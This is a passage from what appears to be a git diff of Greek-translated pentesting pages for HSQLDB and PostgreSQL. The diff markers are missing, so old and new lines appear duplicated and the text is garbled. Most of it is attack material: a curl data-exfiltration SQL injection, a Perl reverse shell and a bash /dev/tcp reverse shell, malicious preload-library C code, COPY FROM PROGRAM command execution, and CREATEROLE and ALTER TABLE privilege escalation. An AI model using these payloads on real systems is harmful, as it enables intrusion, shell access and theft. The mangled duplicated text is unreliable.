**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** είναι το κορυφαίο σύστημα σχεσιακής βάσης δεδομένων SQL που έχει γραφτεί σε Java. Προσφέρει μια μικρή, γρήγορη, πολυνηματική και συναλλαγματική μηχανή βάσης δεδομένων με πίνακες μνήμης και δίσκου και υποστηρίζει ενσωματωμένες και διακομιστικές λειτουργίες.
**Προεπιλεγμένη θύρα:** 9001
**Default port:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Πληροφορίες
## Προεπιλεγμένες Ρυθμίσεις
### Προεπιλεγμένες Ρυθμίσεις
Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη στο localhost. Αν το βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να αναβαθμίσετε τα δικαιώματα.
Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη με το localhost. Αν την βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να κλιμακώσετε τα δικαιώματα.
Οι προεπιλεγμένες διαπιστεύσεις είναι συνήθως `sa` με κενό κωδικό πρόσβασης.
@ -22,23 +22,23 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Σημειώστε προσεκτικά το όνομα της βάσης δεδομένων - θα το χρειαστείτε για να συνδεθείτε.
# Συλλογή Πληροφοριών
## Συλλογή Πληροφοριών
Συνδεθείτε στην DB instance κατεβάζοντας [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) και εξάγοντας το `hsqldb/lib/hsqldb.jar`. Εκτελέστε την εφαρμογή GUI \(eww\) χρησιμοποιώντας `java -jar hsqldb.jar` και συνδεθείτε στην instance χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.
Σημειώστε ότι το URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`.
Σημειώστε ότι η διεύθυνση URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Τεχνάσματα
## Τεχνάσματα
## Ρουτίνες Γλώσσας Java
### Ρoutines Γλώσσας Java
Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρουτίνες Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής.
Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρoutines Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής.
Οι JRTs μπορούν να είναι `functions` ή `procedures`. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Καλούνται χρησιμοποιώντας τη δήλωση `VALUES`.
Οι JRTs μπορούν να είναι `functions` ή `procedures`. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Ενεργοποιούνται χρησιμοποιώντας τη δήλωση `VALUES`.
Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με τη δήλωση `CALL`.
Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που ενεργοποιείται με τη δήλωση `CALL`.
## Ανάγνωση Ιδιοτήτων Συστήματος Java
### Ανάγνωση Ιδιοτήτων Συστήματος Java
Δημιουργήστε συνάρτηση:
```text
@ -52,9 +52,9 @@ VALUES(getsystemproperty('user.name'))
```
Μπορείτε να βρείτε μια [λίστα με τις ιδιότητες του συστήματος εδώ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Γράψτε Περιεχόμενο σε Αρχείο
### Γράψτε Περιεχόμενο σε Αρχείο
Μπορείτε να χρησιμοποιήσετε το `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget που βρίσκεται στο JDK \(αυτόματα φορτωμένο στο class path της εφαρμογής\) για να γράψετε hex-encoded αντικείμενα στον δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**.
Μπορείτε να χρησιμοποιήσετε το `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget που βρίσκεται στο JDK \(αυτόματα φορτωμένο στο class path της εφαρμογής\) για να γράψετε hex-encoded στοιχεία στον δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**.
Δημιουργήστε διαδικασία:
```text

View File

@ -1,11 +1,10 @@
# 5432,5433 - Pentesting Postgresql
{{#include ../banners/hacktricks-training.md}}
## **Βασικές Πληροφορίες**
**PostgreSQL** περιγράφεται ως ένα **σύστημα αντικειμενοστραφούς βάσης δεδομένων** που είναι **ανοιχτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει επίσης με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να διαχειρίζεται ένα ευρύ φάσμα τύπων δεδομένων και λειτουργιών, καθιστώντας το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς.
**PostgreSQL** περιγράφεται ως ένα **σύστημα βάσης δεδομένων αντικειμένων-σχεσιακής** που είναι **ανοιχτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει επίσης με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να διαχειρίζεται ένα ευρύ φάσμα τύπων δεδομένων και λειτουργιών, καθιστώντας το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς.
**Προεπιλεγμένη θύρα:** 5432, και αν αυτή η θύρα είναι ήδη σε χρήση φαίνεται ότι το postgresql θα χρησιμοποιήσει την επόμενη θύρα (πιθανώς 5433) που δεν είναι σε χρήση.
```
@ -110,15 +109,15 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
| Τύποι Ρόλων | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Ο ρόλος έχει δικαιώματα superuser |
| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα δικαιώματα των ρόλων των οποίων είναι μέλος |
| rolsuper | Ο ρόλος έχει προνόμια superuser |
| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα προνόμια των ρόλων των οποίων είναι μέλος |
| rolcreaterole | Ο ρόλος μπορεί να δημιουργήσει περισσότερους ρόλους |
| rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων |
| rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως ο αρχικός αναγνωριστικός δείκτης εξουσιοδότησης της συνεδρίας |
| rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων |
| rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως ο αρχικός αναγνωριστικός δείκτης εξουσιοδότησης συνεδρίας |
| rolreplication | Ο ρόλος είναι ρόλος αναπαραγωγής. Ένας ρόλος αναπαραγωγής μπορεί να ξεκινήσει συνδέσεις αναπαραγωγής και να δημιουργήσει και να διαγράψει θέσεις αναπαραγωγής. |
| rolconnlimit | Για ρόλους που μπορούν να συνδεθούν, αυτό ορίζει τον μέγιστο αριθμό ταυτόχρονων συνδέσεων που μπορεί να κάνει αυτός ο ρόλος. -1 σημαίνει χωρίς όριο. |
| rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) |
| rolvaliduntil | Χρόνος λήξης κωδικού πρόσβασης (χρησιμοποιείται μόνο για την αυθεντικοποίηση κωδικού πρόσβασης); null αν δεν υπάρχει λήξη |
| rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) |
| rolvaliduntil | Χρόνος λήξης κωδικού πρόσβασης (χρησιμοποιείται μόνο για την αυθεντικοποίηση κωδικού πρόσβασης); null αν δεν υπάρχει λήξη |
| rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας σε επίπεδο γραμμής, δείτε [Ενότητα 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. |
| rolconfig | Προεπιλεγμένες ρυθμίσεις συγκεκριμένες για τον ρόλο για μεταβλητές ρύθμισης χρόνου εκτέλεσης |
| oid | ID του ρόλου |
@ -129,7 +128,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Αν είστε μέλος του **`pg_read_server_files`** μπορείτε να **διαβάζετε** αρχεία
- Αν είστε μέλος του **`pg_write_server_files`** μπορείτε να **γράφετε** αρχεία
> [!NOTE]
> [!TIP]
> Σημειώστε ότι στο Postgres ένας **χρήστης**, μια **ομάδα** και ένας **ρόλος** είναι το **ίδιο**. Εξαρτάται απλώς από **το πώς το χρησιμοποιείτε** και αν **επιτρέπετε να συνδεθεί**.
```sql
# Get users roles
@ -220,7 +219,7 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
> [!WARNING]
> Θυμηθείτε ότι αν δεν είστε υπερχρήστης αλλά έχετε τα δικαιώματα **CREATEROLE** μπορείτε να **γίνετε μέλος αυτής της ομάδας:**
> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **CREATEROLE** μπορείτε να **γίνετε μέλος αυτής της ομάδας:**
>
> ```sql
> GRANT pg_read_server_files TO username;
@ -228,7 +227,7 @@ SELECT * FROM demo;
>
> [**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
Υπάρχουν **άλλες συναρτήσεις postgres** που μπορούν να χρησιμοποιηθούν για **να διαβάσουν ένα αρχείο ή να καταγράψουν έναν κατάλογο**. Μόνο **υπερχρήστες** και **χρήστες με ρητές άδειες** μπορούν να τις χρησιμοποιήσουν:
Υπάρχουν **άλλες συναρτήσεις postgres** που μπορούν να χρησιμοποιηθούν για **να διαβάσουν ένα αρχείο ή να καταγράψουν έναν κατάλογο**. Μόνο **υπερ-χρήστες** και **χρήστες με ρητές άδειες** μπορούν να τις χρησιμοποιήσουν:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -294,7 +293,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Σημείωση:** Αν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Κοινές διαδρομές καταλόγου δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα κοινό όνομα κλάσσης είναι `main`.
**Σημείωση:** Αν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Κοινές διαδρομές καταλόγου δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα κοινό όνομα κλάσματος είναι `main`.
2. Αποκτήστε μια σχετική διαδρομή προς τον κόμβο αρχείου, που σχετίζεται με τον στόχο πίνακα
@ -338,7 +337,7 @@ WHERE pg_class.relname = '{TABLE_NAME}';
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![Demo του PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Επαναφορτώστε τον επεξεργασμένο κόμβο αρχείου μέσω των συναρτήσεων `lo_*`, και επικαλύψτε το αρχικό αρχείο στον δίσκο
@ -365,7 +364,7 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Παράδειγμα για εκτέλεση:
Παράδειγμα για exec:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
@ -379,7 +378,7 @@ DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
> [!WARNING]
> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`** μπορείτε να **γίνετε μέλος αυτής της ομάδας:**
> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`**, μπορείτε να **γίνετε μέλος αυτής της ομάδας:**
>
> ```sql
> GRANT pg_execute_server_program TO username;
@ -388,9 +387,9 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
> [**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
Ή χρησιμοποιήστε το module `multi/postgres/postgres_copy_from_program_cmd_exec` από το **metasploit**.\
Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρθηκε ως CVE-2019-9193, το Postges δήλωσε ότι αυτό ήταν [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρθηκε ως CVE-2019-9193, το Postgres δήλωσε ότι αυτό ήταν [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE με PostgreSQL Γλώσσες
### RCE με γλώσσες PostgreSQL
{{#ref}}
../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
@ -398,7 +397,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
### RCE με επεκτάσεις PostgreSQL
Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να ανεβάσετε δυαδικά αρχεία** μπορείτε να προσπαθήσετε να αποκτήσετε **RCE ανεβάζοντας μια επέκταση postgresql και φορτώνοντάς την**.
Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να ανεβάσετε δυαδικά αρχεία**, μπορείτε να προσπαθήσετε να αποκτήσετε **RCE ανεβάζοντας μια επέκταση postgresql και φορτώνοντάς την**.
{{#ref}}
../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@ -406,36 +405,36 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
### RCE με το αρχείο ρυθμίσεων PostgreSQL
> [!NOTE]
> [!TIP]
> Οι παρακάτω RCE διανύσματα είναι ιδιαίτερα χρήσιμα σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT
Το **αρχείο ρυθμίσεων** του PostgreSQL είναι **γραμμένο** από τον **χρήστη postgres**, ο οποίος είναι αυτός που εκτελεί τη βάση δεδομένων, οπότε ως **υπερ-χρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και επομένως μπορείτε να **επικαλύψετε αυτό το αρχείο.**
Το **αρχείο ρυθμίσεων** του PostgreSQL είναι **γραπτό** από τον **χρήστη postgres**, ο οποίος είναι αυτός που εκτελεί τη βάση δεδομένων, οπότε ως **υπερ-χρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και επομένως μπορείτε να **επικαλύψετε αυτό το αρχείο.**
![](<../images/image (322).png>)
#### **RCE με ssl_passphrase_command**
Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli).
Περισσότερες πληροφορίες [για αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli).
Το αρχείο ρυθμίσεων έχει μερικά ενδιαφέροντα χαρακτηριστικά που μπορούν να οδηγήσουν σε RCE:
- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Διαδρομή προς το ιδιωτικό κλειδί της βάσης δεδομένων
- `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο είναι προστατευμένο με κωδικό (κρυπτογραφημένο) το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**.
- `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργό** η **εντολή** που εκτελείται αν το κλειδί είναι προστατευμένο με κωδικό **θα εκτελείται** όταν εκτελείται το `pg_reload_conf()`.
- `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο είναι προστατευμένο με κωδικό (κρυπτογραφημένο), το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**.
- `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργό**, η **εντολή** που εκτελείται αν το κλειδί είναι προστατευμένο με κωδικό **θα εκτελείται** όταν εκτελείται το `pg_reload_conf()`.
Έτσι, ένας επιτιθέμενος θα χρειαστεί να:
Στη συνέχεια, ένας επιτιθέμενος θα χρειαστεί να:
1. **Εξάγει το ιδιωτικό κλειδί** από τον διακομιστή
2. **Κρυπτογραφήσει** το κατεβασμένο ιδιωτικό κλειδί:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Επικαλύψει**
4. **Εξάγει** την τρέχουσα **ρύθμιση** του postgresql
5. **Επικαλύψει** την **ρύθμιση** με την αναφερόμενη ρύθμιση χαρακτηριστικών:
5. **Επικαλύψει** την **ρύθμιση** με τις αναφερόμενες ρυθμίσεις:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Εκτελέστε `pg_reload_conf()`
Κατά τη διάρκεια της δοκιμής αυτού παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό αρχείο κλειδιού έχει δικαιώματα 640**, είναι **κατοχυρωμένο από τον root** και από την **ομάδα ssl-cert ή postgres** (έτσι ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και είναι τοποθετημένο στο _/var/lib/postgresql/12/main_.
Κατά τη διάρκεια της δοκιμής αυτού, παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό αρχείο κλειδιού έχει δικαιώματα 640**, είναι **κατοχυρωμένο με root** και από την **ομάδα ssl-cert ή postgres** (έτσι ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και είναι τοποθετημένο στο _/var/lib/postgresql/12/main_.
#### **RCE με archive_command**
@ -454,14 +453,14 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
#### **RCE με βιβλιοθήκες προφόρτωσης**
Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/).
Περισσότερες πληροφορίες [για αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/).
Αυτή η επιθετική διαδρομή εκμεταλλεύεται τις παρακάτω ρυθμιστικές μεταβλητές:
Αυτό το διανύσμα επίθεσης εκμεταλλεύεται τις παρακάτω ρυθμίσεις:
- `session_preload_libraries` -- βιβλιοθήκες που θα φορτωθούν από τον διακομιστή PostgreSQL κατά τη σύνδεση του πελάτη.
- `dynamic_library_path` -- λίστα καταλόγων όπου ο διακομιστής PostgreSQL θα αναζητήσει τις βιβλιοθήκες.
Μπορούμε να ορίσουμε την τιμή `dynamic_library_path` σε έναν κατάλογο, που είναι εγγράψιμος από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, π.χ., κατάλογο `/tmp/`, και να ανεβάσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νέα μας βιβλιοθήκη συμπεριλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`.
Μπορούμε να ορίσουμε την τιμή `dynamic_library_path` σε έναν κατάλογο, που είναι εγγράψιμος από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, π.χ., στον κατάλογο `/tmp/`, και να ανεβάσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νέα μας βιβλιοθήκη περιλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`.
Τα βήματα της επίθεσης είναι:
@ -469,7 +468,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
2. Συμπεριλάβετε τον κατάλογο `/tmp/` στην τιμή `dynamic_library_path`, π.χ. `dynamic_library_path = '/tmp:$libdir'`
3. Συμπεριλάβετε το όνομα της κακόβουλης βιβλιοθήκης στην τιμή `session_preload_libraries`, π.χ. `session_preload_libraries = 'payload.so'`
4. Ελέγξτε την κύρια έκδοση PostgreSQL μέσω του ερωτήματος `SELECT version()`
5. Συγκεντρώστε τον κωδικό της κακόβουλης βιβλιοθήκης με το σωστό πακέτο ανάπτυξης PostgreSQL Δείγμα κώδικα:
5. Συμπιέστε τον κωδικό της κακόβουλης βιβλιοθήκης με το σωστό πακέτο ανάπτυξης PostgreSQL Δείγμα κώδικα:
```c
#include <stdio.h>
@ -510,7 +509,7 @@ execve("/bin/bash", argv, NULL);
}
```
Συγκεντρώνοντας τον κώδικα:
Συμπιέζοντας τον κώδικα:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
@ -519,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
6. Ανεβάστε το κακόβουλο `postgresql.conf`, που δημιουργήθηκε στα βήματα 2-3, και επικαλύψτε το αρχικό
7. Ανεβάστε το `payload.so` από το βήμα 5 στον κατάλογο `/tmp`
8. Επαναφορτώστε τη ρύθμιση του διακομιστή επανεκκινώντας τον διακομιστή ή καλώντας το ερώτημα `SELECT pg_reload_conf()`
9. Στην επόμενη σύνδεση DB, θα λάβετε τη σύνδεση αντίστροφης θήκης.
9. Στη επόμενη σύνδεση DB, θα λάβετε τη σύνδεση αντίστροφης θήκης.
## **Postgres Privesc**
@ -527,9 +526,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Grant**
Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν δικαίωμα **`CREATEROLE`** μπορούν να **παραχωρήσουν ή να ανακαλέσουν την ιδιότητα μέλους σε οποιονδήποτε ρόλο** που **δεν είναι** υπερ-χρήστης._
Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν δικαίωμα **`CREATEROLE`** μπορούν να **παραχωρήσουν ή να ανακαλέσουν τη συμμετοχή σε οποιονδήποτε ρόλο** που **δεν είναι** υπερ-χρήστης._
Έτσι, αν έχετε δικαίωμα **`CREATEROLE`** μπορείτε να παραχωρήσετε πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερ-χρήστης) που μπορούν να σας δώσουν την επιλογή να διαβάσετε & γράψετε αρχεία και να εκτελέσετε εντολές:
Έτσι, αν έχετε άδεια **`CREATEROLE`**, μπορείτε να παραχωρήσετε πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερ-χρήστες) που μπορούν να σας δώσουν τη δυνατότητα να διαβάσετε και να γράψετε αρχεία και να εκτελέσετε εντολές:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -551,7 +550,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
> [!NOTE]
> [!TIP]
> Αυτό είναι συνήθως δυνατό λόγω των παρακάτω γραμμών στο αρχείο **`pg_hba.conf`**:
>
> ```bash
@ -565,13 +564,13 @@ COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username>
### **ALTER TABLE privesc**
Στο [**αυτό το άρθρο**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP εκμεταλλευόμενοι το δικαίωμα ALTER TABLE που είχε παραχωρηθεί στον χρήστη.
Στο [**αυτό το writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP εκμεταλλευόμενοι το δικαίωμα ALTER TABLE που είχε παραχωρηθεί στον χρήστη.
Όταν προσπαθείτε να **κάνετε έναν άλλο χρήστη ιδιοκτήτη ενός πίνακα**, θα πρέπει να λάβετε ένα **σφάλμα** που να το αποτρέπει, αλλά προφανώς το GCP έδωσε αυτή την **επιλογή στον χρήστη postgres που δεν είναι superuser** στο GCP:
<figure><img src="../images/image (537).png" alt=""><figcaption></figcaption></figure>
Συνδυάζοντας αυτή την ιδέα με το γεγονός ότι όταν εκτελούνται οι εντολές **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) σε έναν **πίνακα με μια συνάρτηση ευρετηρίου**, η **συνάρτηση** καλείται ως μέρος της εντολής με τα δικαιώματα του **ιδιοκτήτη** του **πίνακα**. Είναι δυνατό να δημιουργηθεί ένα ευρετήριο με μια συνάρτηση και να παραχωρηθούν δικαιώματα ιδιοκτησίας σε έναν **super user** πάνω σε αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί ANALYZE πάνω στον πίνακα με τη κακόβουλη συνάρτηση που θα είναι σε θέση να εκτελεί εντολές επειδή χρησιμοποιεί τα προνόμια του ιδιοκτήτη.
Συνδυάζοντας αυτή την ιδέα με το γεγονός ότι όταν εκτελούνται οι εντολές **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) σε έναν **πίνακα με μια συνάρτηση ευρετηρίου**, η **συνάρτηση** καλείται ως μέρος της εντολής με τα **δικαιώματα** του **ιδιοκτήτη του πίνακα**. Είναι δυνατό να δημιουργηθεί ένα ευρετήριο με μια συνάρτηση και να παραχωρηθούν δικαιώματα ιδιοκτησίας σε έναν **super user** πάνω σε αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί ANALYZE πάνω στον πίνακα με τη κακόβουλη συνάρτηση που θα είναι σε θέση να εκτελεί εντολές επειδή χρησιμοποιεί τα προνόμια του ιδιοκτήτη.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -606,13 +605,13 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
ANALYZE public.temp_table;
```
Στη συνέχεια, ο πίνακας `shell_commands_results` θα περιέχει την έξοδο του εκτελούμενου κώδικα:
Τότε, ο πίνακας `shell_commands_results` θα περιέχει την έξοδο του εκτελούμενου κώδικα:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Τοπική Σύνδεση
Ορισμένες κακώς ρυθμισμένες εγκαταστάσεις postgresql μπορεί να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από το 127.0.0.1 χρησιμοποιώντας τη **`dblink` function**:
Ορισμένες κακώς ρυθμισμένες περιπτώσεις postgresql μπορεί να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από το 127.0.0.1 χρησιμοποιώντας τη **`dblink` function**:
```sql
\du * # Get Users
\l # Get databases
@ -643,7 +642,7 @@ RETURNS (result TEXT);
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Προσαρμοσμένη καθορισμένη συνάρτηση με** SECURITY DEFINER
### **Custom defined function with** SECURITY DEFINER
